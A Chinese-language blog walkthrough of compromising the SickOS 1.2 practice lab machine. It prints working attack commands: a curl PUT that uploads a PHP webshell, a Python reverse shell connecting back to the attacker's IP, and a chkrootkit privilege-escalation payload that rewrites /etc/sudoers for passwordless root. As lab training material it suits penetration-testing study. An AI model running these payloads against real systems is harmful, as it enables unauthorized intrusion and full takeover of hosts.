OSCP(扩展篇靶机SickOS1.2)

发布时间 2023-12-08 17:28:13作者: justdoIT*

第一步:nmap、nikto、dirb

 

 

 第二步:利用curl实现文件上传

http://192.168.107.149/test/

检查一下是否发现了任何可用的可利用的http方法

curl -v -X OPTIONS http://192.168.107.149/test/

 包括了PUT用法

让我们尝试上传 shell

curl -v -X PUT -d '<?php system($_GET["cmd"]);?>' http://192.168.107.149/test/shell.php

 http://192.168.107.149/test/shell.php?cmd=id

 Pentest Monkey 那里参考写入反向shell或者直接通过这个页面webshell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.107.129",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

#-v, --verbose 输出详细内容
#-T, --upload-file FILE 后跟上传目标文件(Transfer)
#-H, --header LINE 添加请求头, 可添加多个 -H 参数,

 

最后发现只有443的监听器才能连接,怀疑做了访问控制

 

第三步:

花了一些时间后,我发现没有什么可以利用来获得访问权限。在环顾四周后,我注意到一个每天运行的 cron 作业来运行 chkrootkit。
ls /etc/cron.daily

 

在此之后,我迅速搜索了任何与 chkrootkit 相关的漏洞并找到了这个漏洞数据库
https://www.exploit-db.com/exploits/33899

head /usr/sbin/chkrootkit

Steps to reproduce:

- Put an executable file named 'update' with non-root owner in /tmp (not
mounted noexec, obviously)
- Run chkrootkit (as uid 0)

 

echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

sudo su